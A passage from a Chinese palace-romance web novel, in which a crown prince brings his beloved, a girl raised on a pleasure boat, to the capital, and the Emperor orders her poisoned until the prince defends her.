她颓然蹲下，捂脸抽泣，又怕萍萍还在外面听见，捂紧嘴巴。 柳湛也蹲下来，声音低轻：“兰姨，究竟发生过什么事？”又道，“我们小声点，外面听不见的。” 兰姨抬头凝睇柳湛，她是个极有风韵的女人，平时并不觉老，此刻面上却忽现沧桑。 她用一双泪眼无声倾诉：殿下是否知道，女人不是生来就沦落风尘。 柳湛见她视线在自己脸上来回扫，不敢眨眼。 “若民女说，萍萍的亲娘从前也是正儿八经的贵女，殿下信吗？” 果然，柳湛笃定道：“我信。” “她是尚书家的嫡出娘子，我是娘子的贴身女使。”兰姨顿了下，重新咬牙切齿，“蒋玄，是娘子青梅竹马，口头议过亲的未婚夫。” 那时候他还不是经略相公，是蒋小将军，青衫少年，呼鹰嗾犬，时不时偷偷翻墙到她家来。手上总带一份礼物，曹记胭脂、梁家珠铺的花冠、王楼山洞的梅花包子……汴京城但凡出了奇物，他都要捧到她家娘子面前。 蒋有时也会给她这个做女使的捎带一份。为了传话，亦会讨好的喊上一句“好姐姐”，可不似花船里喊姐姐。 “有一回蒋玄家里要给他择通房，娘子知道了，和他大吵一架，两个多月没理他。”兰姨再次止语，深深吸了口气，才有气力继续讲下去，“后来蒋玄知道错了，来赔罪，荷花池畔，我亲耳听见对娘子承诺，说从前不知，以后定做到一生一世一双人，夫唱妇随，除却娘子绝不会再有别的女人。” 她失声痛哭：“前人栽树，后人乘凉啊！” 忽然庆幸娘子去得早，要是活到如今，眼见同蒋玄七、八分相似的少年，得多伤心。 柳湛心里难受得紧，忍不住问：“泰水入教坊后，经略相公为什么没有去寻？” 兰姨闻言眼泪淌得更凶，这也是她多年来一直想质问蒋玄的问题。 虽然娘子从来没有开过这个口，但曾瞧见娘子屡次垂泪，心里定然也是想问的。 没有来，蒋玄一次都没有来找过。 柳湛却已经差不多明了，二十年官家奉先皇遗诏继位，三大王不服，谋逆事败，追随他的几位逆臣贼子均株连九族。 当中的确有位尚书，族中男子皆斩，女子没入教坊司。 蒋家握兵权恐帝王猜忌，向来是不站队的。 柳湛弓起身，脑袋疼，他不想思忖这些，不求甚解，更不想参与。 柳湛喘了几口气，明知道这事是同官家对着干，却仍忍不住宽慰、许诺：“我以后有机会，帮泰水重查当年案情。” 兰姨闻言转蹲为跪，激动得不住磕头：“殿下若真能为娘子一家翻案，民女不仅今生愿为殿下肝脑涂地，往后生生世世，亦心甘情愿做牛做马，结草衔环！” 第99章 第九十九章 父债子偿 兰姨忽然记起一事， 兀地看向柳湛，纵使泪眼朦胧，也能觉出她眸中紧张。 柳湛同样蹲着， 但身量比兰姨高许多， 她成仰望， 柳湛见状再猫低些，变成平视。他猜兰姨担心萍萍知晓实情，那亦是柳湛的担忧， 也不愿见萍萍徒增悲伤。 他越来越体会到不是事事都该直言， 有些话必须烂在肚子里，有时候不得不讲谎话。 出了宫门， 才知世路崎岖，人情复杂。 他以前太欠考虑了，但仍想为萍萍挡住纷纷扰扰，让她简单些。 柳湛许诺兰姨：“你放心，今夜的对谈出了这个门，我不会再对任何人讲起。” 兰姨跪谢：“多谢殿下。体恤。” 柳湛将她扶起，忍不住多嘴：“那萍萍的爹爹是谁？您知道吗？” “不知。”兰姨摇头， 萍萍样貌肖似娘子， 再加上那段日子恩客如过江之鲫， 实难断言。 兰姨忽地挑眉， 误会柳湛乱猜，沉了脸——娘子入教坊时是完璧之身，同那人清清白白！ 当年那人碰个手就全身通红， 有一回去边关前非要为娘子作画，说千里之外想她了就瞧瞧，还是要留一辈子， 他画了半个月，每到凸凹有致处就红脸，明明和娘子隔着一丈多。 “外面那人多大了？”她闷闷地问。 柳湛愣了愣，反应过来问的蒋望回。 他如实告知，兰姨一听蒋望回比萍萍还年长两岁，愈发气闷。 * 一刻钟前，柳湛随兰姨进门后，蒋望回瞥了萍萍一眼，无声询问原因。 她也不知道，和他面面相觑。 凤叔笑道：“别在这干等，走，找个坐的地方，请你们喝茶。” 蒋望回又偷瞟萍萍，见她点头，便也跟着凤叔走。 仨人依旧绕开主廊，虽然瞧不见，但能听见一些靡靡音，蒋望回耳力非凡，甚至连喘息都听得清晰。他两颊发烫，如芒在背，过会又觉这舫里香浓，呼吸不畅。 蒋望回观察萍萍和凤叔，见二人皆一脸坦荡，只得喉头滑动，暗暗压下不自在。 凤叔领他们到了间敞门的阁子，雅致幽静，博古架上摆着些古玩，不似花船，倒像置身茶坊。 凤叔笑道：“这里离得不远，他们出来就能找过来。” 他在兰姨的画舫里点茶也是要付钱的，要了一壶青团饼，女使奉好，凤叔和萍萍都接过喝了，唯独蒋望回道了谢，却 将茶盏放回几上。 凤叔只当未见，转面向萍萍，笑问些金山上发生的事情，聊了一会，有人不打招呼，径直跨进房来。 萍萍以为是阿湛回来了，含笑望去，一息眸光黯下来——不是阿湛。 来人孤身一人，着鸦青圆领袍，摘下幂篱，现出一张黑黝但五官深邃的脸，竟是占利。 萍萍立马朝凤叔身后靠。凤叔笑问占利：“你怎么还敢到这里来？” 占利手攥着幂篱，亦笑：“我有两句话想私下同萍萍讲——” “有什么就在这里说吧！”萍萍打断。她心里的占利不择手段，又有那么多旧怨，跟他私底下去，那不是羊入虎口，自入圈套？ 占利闻言，抿唇凝视萍萍。 萍萍避开对视，将占利往日那些毒辣手段都过了一遍，想好怎么防备避免，她不想受到伤害。 占利翘起唇角，又放平，凝视萍萍道：“从前是我没有向你表明我的心意。” 萍萍错愕，而后很快明白过来——这是男女间的示好。 占利喜欢她。 她觉得很荒谬。 他有什么心意呢？ 她只看到占利时不时给她，给兰姨的花船使绊子，故意为难，平时碰见没声招呼，甚至连个笑都没有，还放任他的属下奚落她。 她从来没有感受到占利的心意，只有恶意。 想到这萍萍愈发思念阿湛，觉得他好。 见萍萍始终垂首，占利以为她羞赧，笑着再道：“跟我走吧。” 他们两小无猜，只要他说清，在萍萍心里谁能赢得过他？ 萍萍却抬头直视占利：“你读过诗三百里的《行露》吗？” 她的眼神太冷了，占利也能发现那里面没有情意，他心一沉，拧眉反问：“你选那人就是因为他读书？” 此话一出，萍萍便知鸡同鸭讲，但还是表明了决心：“里面有句话说，‘虽速我讼，亦不女从’。” 占利听不懂，感觉不是好话，他是偷溜进来的，不能多待，但也不能空来一场，上前欲绕过凤叔触碰萍萍，凤叔呵斥：“你做什么？” 占利才不惧不会武的，依旧往前逼，萍萍不得不再往后躲，左侧是空地，右边是蒋望回。萍萍犹豫了下，不能连累不熟的人，选择往左躲，眼看要被占利抓到，蒋望回忽挡在萍萍身前，同占利结结实实对了一掌。 蒋望回分腿立着，只微微晃了晃身，占利却挡不住向后滑退数丈，撞倒博古架，砸他一身。占利绷紧面庞，怎么突然又冒出个厉害的？ “吵吵闹闹的在做什么？”兰姨的声音从远处传来，占利环扫一眼，果断破窗，如鱼跃出。 兰姨明明瞅见占利身影，进门却要冲蒋望回发火：“这是怎么了？怎么打杂成这样！” 她敛眉，讥讽一笑：“不知民女哪里得罪了小官人，要这样千里迢迢来砸我场子的。” “小官人，用心良苦呐！” 蒋望回躬身赔礼：“着实对不住，损坏的财物在下一并赔偿。”说着要掏交子，兰姨一想这是蒋家的钱就嫌脏，狠狠剜了他一眼：“惊到客人，影响了生意怎么算？” 蒋望回思忖须臾，正要再开口，兰姨已经抢在他前面下令：“来人，把这来砸场的泼皮无赖撵出去！” “兰姨他不是无赖！”萍萍出声辩护，兰姨可不能是非不分，“您方才没瞧见，误会了，是蒋小官人打退占利，嘶——” 萍萍右手突然被兰姨掐住，下手又急又重，痛得她咧嘴，百般不解看向兰姨，兰姨却瞪她一眼，反倒有责备之意。 萍萍再眺柳湛，他面上现出犯难色，但紧闭双唇，竟不为蒋望回说话。 大家都怎么了？ 亲眼目睹的人只有自己和凤叔，凤叔又对兰姨唯命是从，那要是自己再不发声，蒋小官人就要一辈子蒙冤，想到这萍萍生起勇气，哪怕虎口被紧紧掐着，依旧重复：“兰姨这事不该怪蒋小官人——” “萍娘子无需多言。”这次却是蒋望回不紧不慢打断她。 萍萍错愕扭头去看蒋望回，他却已转身朝兰姨再鞠一躬，放下两张百两的交子：“在下告辞。” 说罢便转身离去，虽然不知道原因，但隐隐觉着众人都不想他待在画舫里，那就走快点吧！ 蒋望回大步流星。 走下甲板，远离画舫亦远离了喧嚣，周遭顿时安静，深夜寒风阵阵皆吹在身上，蒋望回没有回头望那些灯火，仍往前走，那一掌对方用了全力，其实他也有伤到筋脉，这会钝痛上来，蒋望回抚了抚胸口，一会想萍娘子竟与旁的男子牵扯不清，这种女子，绝不是太子良配，一会又琢磨自己当时为什么没多想就挡在萍萍身前？ 可能是不想太子的女人受伤吧，为了太子。 但太子方才竟然不围护自己，蒋望回心生难受，而后就被他自己压了回去，只担心刚才太子的无动于衷是被什么迷惑心智，可别真堕落了，辜负了官家皇后，天下子民。 少顷，蒋望回又忍不住委屈困惑，众人哪来的敌意？又想，萍娘子虽是行院，但刚刚替自己申辩，走的时候应该同她道声谢的。 “阿兄。” 蒋望回听见熟悉声音，抬首一眺，前方钿车宝马停驻，蒋音和挑着车窗帘正笑唤他：“阿兄，我在这里！” 蒋望回快步走向马车：“你怎么来了？” 昏昏暗夜，离得近才发现车厢还坐着一位美妇，二女使执羽扇立于身后。蒋望回大惊下跪：“微臣叩见皇后娘娘。” 皇后温和笑道：“进来说话。” 蒋望回站起，始终弓着身子钻进车厢。 皇后笑问：“你从哪里来的？可曾找到娑罗奴？”又虚抬了下手，道：“这地方本来就不宽敞，别跪了，坐着说吧。” 蒋望回谢过之后，盘膝坐好，见皇后和颜悦色却难掩关切紧张，蒋音和亦灼灼盯着他。 蒋望回想了想，将所有所闻如实禀报。 他余光窥见皇后变了脸色，以为她担心太子名誉，却不知是那车窗帘被夜风掀起一角，皇后瞥见了一个从甲板上下来的男人。 那时候她刚晓得自个的真实处境，满腔愤懑下，做了一件浑噩之事，年轻不计后果，只想着报复，并几分自甘堕落。 现在想来，那是一件对自己极不利的事，不该犯的。 * 画舫。 蒋望回被撵走，萍萍还是忍不住替他说叨。 该滚的滚了，兰姨放开萍萍的手，飞她一眼：“刚才在房里问了许多金山上的事情，白关心你了！” “问什么？”萍萍追问。 柳湛顿了顿，而后上前笑道：“兰姨担心你在那有没有受欺负，吃穿用度可有委屈。” “那怎么不直接问我？” 柳湛分唇正想如何回，兰姨哼哼接话：“阿湛是个妻管严，要是你在场，一个眼神瞪去让瞒，他敢讲实话？” 萍萍听了舔了下唇，笑着上前抱住兰姨。 兰姨这才泛起笑意，拍拍腰间萍萍手背：“好了好了，这都给我砸坏了，”她指一碎成数瓣的白玉观音，“这连菩萨都给我砸坏了，我能不气吗？” “气昏头了，气昏头了。”察言观色的凤叔旋即附和。 第100章 第一百章 如梦似幻 * 画舫后面连着数艘小船， 中连甲板，萍萍和柳湛帮着收拾完狼藉，穿过甲板， 柳湛先跨上其中一艘， 然后牵她， 也跳上船。 哗哗水声，甲板上支杆晾着衣裳，柳湛在船头坐下。 萍萍看了会柳湛， 笑道：“太亮了眼睛刺着， 我灭一盏？” 柳湛冲她点了下脑袋，继而转过身眺望前方江面。 萍萍吹完灯走到柳湛身边， 撑甲板慢慢坐下。柳湛见状覆上她那只撑着的手，等她坐稳时已变成十指紧扣。 他感觉她有点奇怪，便向她笑了笑，萍萍突然凑近，唇贴上唇，喂给他一颗刚刚借口吹灯，偷偷衔起的糖。 柳湛虽然耳红， 但很喜欢， 垂下头笑， 长长的 羽睫微颤。 还亮的灯笼光刚好照在他一侧脸上， 萍萍就伸手挠了下那亮处的脸：“开心点了吗？” 柳湛讶异，她看出自己心绪低落？ “你呀，蹶个腚我就知道你要放。屁。”这话她经常听船上人说， 不觉粗鲁，“从画舫一路走到这里，你都闷闷不乐， 是因为没帮蒋小官人说话吗？”萍萍扭身直勾勾盯着柳湛，手握紧他的手，“我猜……你想帮，但不敢得罪兰姨，怕她一气之下再次阻拦你娶我，所以没吱声。可事后又觉对不起朋友，心里过意不去，是不是这样？”她咬唇，“对不起，我让你为难了。” 柳湛默道：那倒不是，他主要困于萍萍的身世。 同样十六、七岁，自己锦衣玉食，无忧无虑的时候，她却那样苦。 他沿路都在思忖，以后怎么不让她再受半点苦，却没想到一时忘形，情绪流露脸上，反而令她担心。 “别跟我说对不起，你永远对得起我，你也千万不要自责。”柳湛高高扬起嘴角绽笑，不想再让萍萍忧心。 他想，宫中生活优渥，父皇、母后和太后嬷嬷又都疼爱晚辈，萍萍以后嫁进来会拥有许多家人和关爱，就不会再吃苦了，只余甜了。 就像他刚刚含化的那颗糖一样，现在还在回甘。 柳湛抓着萍萍的手扬了扬：“你快点嫁给我吧！嫁进来我带你去见嬷嬷和爹娘。” “对了，”萍萍问，“说到这，蒋小官人有带来你嬷嬷的消息吗？太医看后可有好转？” “他说令太医在治了。”江风吹起柳湛的马尾，少年仰头望天，“不知道嬷嬷什么时候才能好，反正我一定要救好她。”他转头朝萍萍看来，“我小时候身子特别弱，有一回卧床许久，大家都说我活不了了，是嬷嬷在娑罗树下为我求了七天七夜，以性命发愿，求得我转醒过来。这件事后，我的小名就改成了娑罗奴。” “娑罗奴。”萍萍轻唤，眸光和照在涟漪上的亮光一模一样。 柳湛抬手，指尖轻柔缓慢触向她的面颊，忽地神色一凛：“有人来了。” 萍萍和柳湛皆以为是占利，警惕躲入舱中。 一艘客船驶向画舫，一男子带着长随登上隔壁船甲板，朝画舫内走去。灯光照耀下能朦胧瞧个大概，明显不是占利，萍萍伸脖望得久了些，柳湛便问：“你认识他？” “我认识他，但他可能不记得我了。”萍萍盯着画舫回话，她也同柳湛说起上回副末色提及的红莲娘子，从良嫁去外地，又九死一生逃回来。 “就是他！”萍萍结合身形样貌走姿，笃定，“以妾礼迎的莲娘子，到异地他乡却欺负她无依无靠，强做外室。”她唾了一口，“他家里人差点要了莲娘子性命，还有脸来？” 舫中莲娘子应该也不欢迎他，她歌喉婉转高亢，此刻叱骂亦高亢，传出舫来，回荡江上。 同时一并奏响噼里啪啦砸东西的声音，莲娘子那间房窗开，数样物拾被掷入江中。 男子很快出舫原路返回，黑夜里都能瞧见他的黑脸，他上了船，逆流而上梢公竟能划得那样快。 折返路上，柳湛将男子瞧得仔细些，嗫嚅：“我好像也认识他。” “你也认识？”萍萍睁圆杏眼。 柳湛点头：“少时一起读过几年书。”他盯着江上若箭，快到要瞧不见的舟，紧拧双眉，“离京前刚听说他订了亲。” 还是他老师的女儿，所以记这事清晰。 “订的哪家娘子？”萍萍问出口就反悔了，“算了你别告诉我！” 糟心事，不想打听。再则，闹成这样，那男子以后指定不会来了。 柳湛合唇。 一轮如钩冷月，倒映江心。 四日后，萍萍和柳湛又来到小船上，忽觉左侧风袭，二人一同瞧见蒋望回脚尖点地，踏水行来——他入不得画舫，只能如此。 柳湛噙笑，刚启唇就听蒋望回禀道：“郎君，主母寻来。” 柳湛眼睛一亮，母后来了吗？ 他抓起萍萍的手：“走，带你去见婆母。” 萍萍顿时脸红，任由他牵着走出去四、五步，才镇定心神，紧张问：“我现在这样子去见会不会失礼？” 要不要打扮下，再备点礼物？ 柳湛扭头笑瞟她一眼，笃定道：“你放心吧，她没那么严苛。” 母后肯定会喜欢萍萍的，萍萍也会喜欢上母后，柳湛脑海里禁不住浮想母后和萍萍相视一笑的场景。 他不禁咧嘴。 萍萍仍不放心，追问婆母喜好？又问大户人家一般如何说话面见，担心自己失了礼节。 蒋望回听到这里，终于忍不住回望一眼，甲板微晃，她问一句柳湛答一句，两人攥着手互看对方，一个担心一个笑。 蒋望回忽地蹙眉，时至今日，太子究竟告没告诉萍娘子真实身份？ 正想着，听见后面柳湛说：“有件事一直瞒着你，我娘还有另外一个身份，她是当今的皇后娘娘。” 蒋望回原本已经转回脑袋，却忍不住再次朝后偷瞄——萍萍定住没再走了，神情呆滞。 蒋望回目光移下，萍萍的手仍任柳湛攥着，没有抽出来。 她缓了好一会，才仰面对视柳湛：“那你岂不是太子？” 柳湛点头：“我是。”她的样子让他有点慌，“你别这样呀，难道我是太子，你就不愿意嫁我了吗？” “我愿意！”萍萍毫不犹豫回，柳湛的话犹如当头棒喝，她立即醒悟自己在意的是他这个人，而不是他的身份尊卑。 柳湛看她明白了，眉眼舒展开，笑得像风拂江面。 他也是一样的。 柳湛牵着萍萍往前走，人在前面，胳膊伸后，微微扬起下巴：“那不就得了。” 萍萍在扬州城的某家久住里见到皇后，她扫见屋内仅皇后一人，没敢也没来得及怎么看，柳湛就拜：“孩儿参见母后！” 萍萍赶紧低头下跪：“民女参见皇后娘娘！” 叩首的时候心忐忑得要从嗓子眼蹦出来。 她听见柳湛一口气说许多：“是孩儿擅自跑来江南，让母后操心了，您平时有些晕车的，这趟南下可还好？” “娑罗奴，你瘦了。” 这是皇后开口说的第一句话，萍萍只有一个反应——娘娘的声音好温柔。 皇后就用这个声音续道：“你旁边是哪位小姑娘？也快快起来吧。” 萍萍起来就瞧见皇后的笑颜，她甚至还微微抬手，似要隔空拉萍萍到身边。 萍萍的心快软化了，忐忑和戒备也迅速减退。 柳湛笑着告诉皇后：“母后，这是儿臣讨的娘子，想禀过您和父皇，早日成亲。” “哦，是吗？” “对了母后，嬷嬷的病好了没有？” 皇后旋即接话：“好些了。” 她笑望着柳湛，心里回忆的却是正给他挑选启蒙御侍，东宫就来报，说太子留下字条，私自出宫为太后求医去了。 他果然更在意真正的母亲，不是亲生的一辈子养不熟。皇后阴沉地想，面上却笑若春风，移目转看萍萍。 这就是那行院女子？ 下。贱胚子，一双玉臂万人枕，一点朱唇万人尝。 皇后抬手朝萍萍摆了摆，慈眉善目示意她近前。萍萍走近皇后，皇后顿时抓了萍萍的手，明知故问：“多大啦？叫什么？” 萍萍没想到第一次见皇后就这么亲热，不由自主缩了下身子，而后才舒展开，回握皇后笑答：“回皇后娘娘，民女萍萍，快十七了。” 皇后直直打量萍萍的脸，眸子里全是喜爱，心里却嫌她手脏，握着真恶心。 “看着就讨喜！”皇后说着褪下一只紫玉镯，夜里灯下瞧着都圆润光泽。她牵起萍萍的手，要亲自给她戴上，“老身这趟走得匆忙，没备什么见面礼，也就这只镯子还拿得出来。” 萍萍大惊推辞：“娘娘使不得！” 皇后却坚持给她套上，笑道：“粗细刚好，还是年轻人戴 着好看。” 柳湛在一旁笑：“母后给你你就接着吧。” 萍萍止住动作，怔怔望着腕上的镯子。 柳湛歪头微低，绕过来对视萍萍，提醒：“还不快谢谢母后？” “谢谢母后！”萍萍说完才发现错了，忙纠正，“谢谢皇后娘娘！” 心道完了，这等口误，指不定娘娘怎么想自己呢！ 她磕头认罪：“民女一时懵了，说错话犯下大错，还望娘娘责罚。” 但皇后既没有像戏文里那样说错了话就杀头，也没有斥责怪罪，反将萍萍扶起，笑道：“为什么要责罚你？老身这辈子就遗憾没个女儿，”皇后搀着萍萍，看向柳湛，“这下好，终于有女儿了。” 皇后抚了抚萍萍的手，语重心长：“以后老身当你女儿，你就当老身亲娘。” 萍萍一下泪不争气涌出数滴，抹了把眼，冲皇后笑。柳湛睹见，无比开心，他想象的画面成了真！ “随老身回京吧。”皇后同萍萍商量，又扭头冲柳湛笑，“不是想早点成亲吗？这么好的息妇，正好带回去让你父皇瞧瞧。” 萍萍闻言羞红脸，皇后又说了两回，她才回：“那我回去收拾收拾，和兰姨她们都打声招呼。” 她决定回去一定好好夸夸这位未来的婆母，真是慈德昭彰的贤后，母仪天下。 皇后面上笑意不减，心里却一紧，当年那一念之差，与之缱绻的面首凤歌，一度以为他已经死了，却这几日打听清楚，他如今和萍萍提及的，那位叫秀兰的妈妈做姘。头。 虽然当年凤歌自称不知她的身份，但人自己说的话，怎么可信？万一萍萍返回画舫提及，那凤歌再一联系……皇后笑按住萍萍的手：“太后娘娘身子不大好，我们早一点回去，她就能早一点见到你。你家里人老身会差人捎信去说，情急相信他们能理解。再则，要实在记挂，将来都定下来了，你可以接她们来京。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 100-110 第101章 第一百零一章 山盟仍在 “您方才不说嬷嬷病好些了吗？怎么又说这样讲？”柳湛声音发颤， “嬷嬷究竟怎样了？” 皇后面犯难色，欲言又止，惹得柳湛更心慌。 他下意识看向萍萍， 萍萍旋即抓住他的手：“我们回京， 太后娘娘肯定会没事的。” 柳湛心虽然仍跳得快， 但稍稍稳了些，就像扁舟遇上狂风骤雨，但前方有灯塔穿云破雾照亮。 是夜， 萍萍便同柳湛返京。 临行前二人皆给兰姨留了书信并口信， 里头说订了亲就能接兰姨等人上京，最多一两个月就能再见面。 因为走得匆忙， 柳湛过意不去，又额外给兰姨留下许多财物，皇后见状笑道：“那老身也该送一份礼。” 柳湛和萍萍没多想，对视了一眼，心中皆涌暖意。 一行人未走水路，沿陆路赶车走马到汴京。 途中用膳和换马会停下歇息，有一回萍萍去五谷轮回所回来， 还没走近就听见后半截话。 “殿下， 您对我真就这么心狠吗？” 萍萍脚陡止住， 女声耳熟， “殿下”二字更令她心揪紧。 “难道人人对孤有意，孤都要回应吗？”这个是柳湛的声音，“倘若孤不对你心狠， 便是对萍萍狠心。” “殿下——” “多说无益，你还不走，孤出去了。” 接着萍萍就瞧见柳湛走出来， 他瞧见萍萍，一愣，接着别首抬手，挠了挠头。萍萍上前牵起柳湛的手，没说什么，但是牵得紧紧，她想起来屋里女子是谁了——跟着皇后娘娘来的，蒋小官人的妹妹，沿路没说上几句话，总冷冷盯她。 兰姨常说惹不起躲得起，萍萍想不和那女子来往便是。 到东京，绕开御道进宣德门，柳湛挑帘注视，想起元宵节这里会一顺铺设上彩灯山，金碧交辉，尤其有两条百丈棘盆的彩龙，分外好看。 柳湛最爱，忍不住想同萍萍分享，却又牵挂太后，兴致缺缺，便简短道：“元宵这里有双龙。” 萍萍嗯了一声，探窗出去瞧时马车正穿过楼门进宫，顷刻隔绝外面的喧嚣，庄严肃穆的宫殿迎面压来。 众人下车，柳湛望向萍萍：“按理该先面圣，但我记挂嬷嬷，于是前几日母后同父皇通信，求得应允，我们可以先去嬷嬷的慈明宫。” 萍萍点头，自己第1回 来，都听柳湛的。 早有人提前通传，他们抵达慈明宫时，太后的贴身宫人金莺已率众宫人恭候在殿外，猎猎秋风吹动她们的裙摆。 柳湛回了平身，牵着萍萍要进去，金莺却在二人面前垂首道：“太后娘娘病中喜静，探病人不易多。” 柳湛抓着萍萍的手抬高：“这是孤的心上人。” 须臾，金莺一声不吭让道，柳湛执着萍萍的手走了几步，突然想起来，回头一望皇后还在原地。 柳湛笑道：“母后也一起吧。” 在他心里嬷嬷和母后既是婆媳又姑侄，比别人更亲密些。 萍萍在床前叩拜太后，抬起头第一眼不由自主留意的，竟是太后那一头落在枕上，散发着缎面光泽的乌黑发丝——那是假发。 因为画舫里有几位上了年纪的行院也戴，用来遮掩花白。 柳湛已经起身，快步走到床边，笑道：“嬷嬷，您好些了。” 走的时候太后身不能动，现在右胳膊能抬起，五指能动。 柳湛直抒胸臆：“孙儿心里高兴。” 他正打算握住太后抬起的右手，皇后却抢先一步，伏跪床头抓住太后的手：“母后——妾在这里。” 柳湛先愣，继而重笑起来。 皇后紧紧攥手，满目关切：“妾这些日子未能床前侍奉，实在羞愧。” “母后，您是放心不下去江南找我，才无法侍疾，嬷嬷不会怪您的。”柳湛旋即帮皇后说话，又想原来自己不在的这些天一直是母后在侍奉嬷嬷，母后辛苦。 柳湛笑看向太后：“嬷嬷要怪也是怪我，不打招呼就跑了。” 皇后闻言回望柳湛：“你也是救祖母心切，”她笑着重看向太后，“母后啊，娑罗奴一切都是为了您。” 太后平躺床上，始终微抬下巴，露浅浅笑意，萍萍是头回见人缠绵病榻还能如此雍容的，却又恍觉太后笑眼里正落两行泪。 她莫名其妙眼眶湿润，抹了一把，众人皆以为她是感动于天家三代情浓于血，不以为意。 柳湛三人约莫在太后寝殿里待了半个时辰，而后告辞面圣。金莺人送至慈明宫门，又目送了一段路，方才转身穿门过廊，重入寝殿，一至床边便忿忿不平：“方才又被那恶妇得逞了！” 太后右手摆了摆。 金莺攒眉不解：“已经迫在眉尖，娘娘为何还要坚持隐瞒殿下？” 太后艰难启唇，仅能分开一点点，吐出含糊一音，非常仔细用心才能辨出是个“莺”字。 金莺马上握住太后的手：“奴婢在。”又问：“娘娘是不是问禁军的事？奴婢方才出去看了都还在。” 太后相握的手微摆，金莺会意，松开，太后食指点上金莺掌心，极慢地，一笔一划写字。 * 柳湛这边，离开慈明宫走了一段路，忽闻身后稚嫩男童声：“六哥！六哥！” 因为离得远，禁宫又空旷，似山谷回声。 “是阿七。”柳湛呢喃，先看萍萍一眼，而后眺望，那小屁孩是隔多远喊的？只能瞧见一大一小两个黑点，后面大的那个肯定是追赶七大王的内侍。 柳湛手被萍萍拽了下，才收回目光，重瞥萍萍。 萍萍示意他往前看，前面有位老内侍，后面跟着位两位执戟禁卫，还有另一名内侍垂首端着一杯酒。 虽然情况不明，但萍萍莫名紧张。 柳湛先眺的老内侍，那是官家的随侍黄门，平时常见，柳湛旋即翘起唇角。 老黄门携一干人向柳湛行礼，三呼殿下，黄门正要开口，被柳湛抢了先：“我父皇在哪呢？” 黄门合上唇，等柳湛讲完了，才躬身作答：“陛下正在福宁宫议事。” 柳湛颔首，就要牵着萍萍往福 宁宫走，黄门却不紧不慢，恭恭敬敬道：“陛下得知殿下回宫，特意赐了一杯酒给这位小娘子。” 柳湛顿足，第一反应：怎么自己没有接风酒？ 正要问问父皇缘何落下儿子，倏地意识到不对劲，已经分开的唇重新合闭。 萍萍看向柳湛，四目一对上，柳湛心一慌。 黄门重复道：“小娘子，陛下赐酒。” 柳湛闻声望过去，见两内侍都直勾勾逼视萍萍，禁卫手上的画戟皆往下压了压。柳湛整个人如从云端坠落，沉沉跌进深渊。 触底时，却又猛地翻个跟头跃起，亦发出一声暴喝：“不要喝！” 他拉起萍萍就跑，不明白为什么进宫连面都没见到，父皇就要赐死萍萍。柳湛已经跑过那端酒的内侍，却又折返回来，掀翻鸠酒。 然后再牵着萍萍的手重新往福宁宫跑，父皇一定听信了什么谗言，误会萍萍，他和萍萍可以当面阐明。 事情讲清楚就好了。 柳湛牵着萍萍跑过两侧朱墙，跑过御苑，青松绿柏皆留身后，跑过玉砌长廊，偶遇宫人内侍皆不做理会。柳湛忍不住问萍萍：“如果我不是太子了你还会和我在一起吗？” 因为一直在跑兼余悸，萍萍的回答有些喘气：“以前你也不是太子呀。” 柳湛虽然很紧张，但还是笑了下。 萍萍虽然害怕天子一怒，伏尸百万，但仍追随柳湛。 他俩抵达福宁宫时，殿外竟然没有通传的内侍，亦无禁卫看守，柳湛自言求见，没有应声。他犹豫片刻，牵着萍萍进去，却发现官家并几位要臣正在议事。 萍萍拽了下柳湛胳膊，想先退出去等，柳湛亦迟疑，就听上首官家沉声：“娑罗奴，什么事？” 官员们见状退出殿外，柳湛掀袍，先同萍萍一道跪拜，而后阐述自己和萍萍的情意，他自觉无愧，于是公然发问：“父皇，您为何要赐酒？” 官家手搭在宝座扶手上，俯瞰告知：“风流多情，人之常情，太子沉静自居，必不招物议。但昭告天下，大张旗鼓娶一行院，就是轻佻，大错特错，令天家蒙羞！” “何谓风流多情？”柳湛直脖，“儿臣自问没有眠花宿柳，左拥右抱，倘若一生钟情一人也算轻佻，那什么又是不轻佻？” “再则，若真轻佻，令天家蒙羞的是儿臣，父皇的鸠酒应该赐给我，”柳湛脑海中忽走马灯般闪过许多史上有名的女子，烽火台上，马嵬坡前，“而不该……怪到一个女人身上。” “她是行院。”官家直言，促眸似有怒意。 “萍萍不是行院，”柳湛挺背急辩，“且就算是又如何？” 官家别首，一句“这些年你被护得太好了”终究没有出口，少顷，扯嘴角：“千人骑万人枕，如何堪配一国储君？” “人之所爱，一往情深，远越尊卑贵贱，在儿臣眼里，她只是儿臣的爱人，将来的妻子，无论何种身份。” 萍萍伏跪在地，始终额头贴地，听到这里心中大恸，能得柳湛这番话，今生跟定他，再无二致，哪怕为他死了也愿意。 柳湛思忖清楚，缓道：“儿臣至死离不开她，如果不配……” 后半句自己可以让出太子之位正要出口，门外忽有宫人奏拜：“陛下，太后娘娘有一样东西要交给陛下！” 柳湛两只小腿仍贴地面，只上身朝殿门口扭：“嬷嬷能说话了？” 因无人看守，金莺一步一步走上殿，双手前奉一只木匣。 官家微扬下巴，他身边服侍的内侍立刻从金莺手中接过木匣，递呈案前。 官家打开看后，沉吟不语，直到金莺已经退出殿外离开，才冲着柳湛，鼻息重重出了口气：“你是朕的儿子，朕几时要你死了？” 官家刚要补一句“再莫要提死字”，柳湛抢先一步再道：“父皇若仍执意赐酒，儿臣将与她共饮！” 他看向萍萍，想象着饮鸠酒时挽手，那算不算也是洞房交杯？萍萍却已朝前再跪了些，响亮磕头：“万岁，民女也愿意和阿湛同生共死！” 她称呼他的名字，而不是殿下。 官家定定睥睨底下跪着的少男少女，眸深若潭，良久，嘀咕：“情意绵绵，杯酒共饮。” 字句仿佛自官家心底碾过，眼前的柳湛和萍萍，令他忆起一件三十年余年前的往事。 好多年没想起过了，以为自己已经淡忘，没想到还记得。 当年的心上人要入宫，去挣青云直上，他亦有他的图谋壮志，皆知对方不是良配，也做了选择，不后悔，但却控制不住那一丝割舍情意的钝痛，如刀碾肉。 她不知从哪找来一坛酒，说里头下着瞧不见的，入水既隐的蛊虫，喝下去睡一觉，就能忘却爱人，再想不起来。 心里不会再难受，绝情弃爱，方能更好的成就大业。 他俩开坛各倒了一杯，但最终都一口没喝，将酒坛重埋树下，分道扬镳。 官家盯着桌上那只太后送来的木匣，一面念着里头的东西待会要烧掉，一面生恨。 片刻，官家噙笑抬首，他瞧不起萍萍，仍懒得眺她一眼，只俯视柳湛：“娑罗奴，你说你们爱到愿意同生共死，那如果饮了忘情水，忘记对方，还会再想起来吗？” “当然！” “当然！” 柳湛和萍萍不假思索，异口同声，萍萍甚至因此抬头。 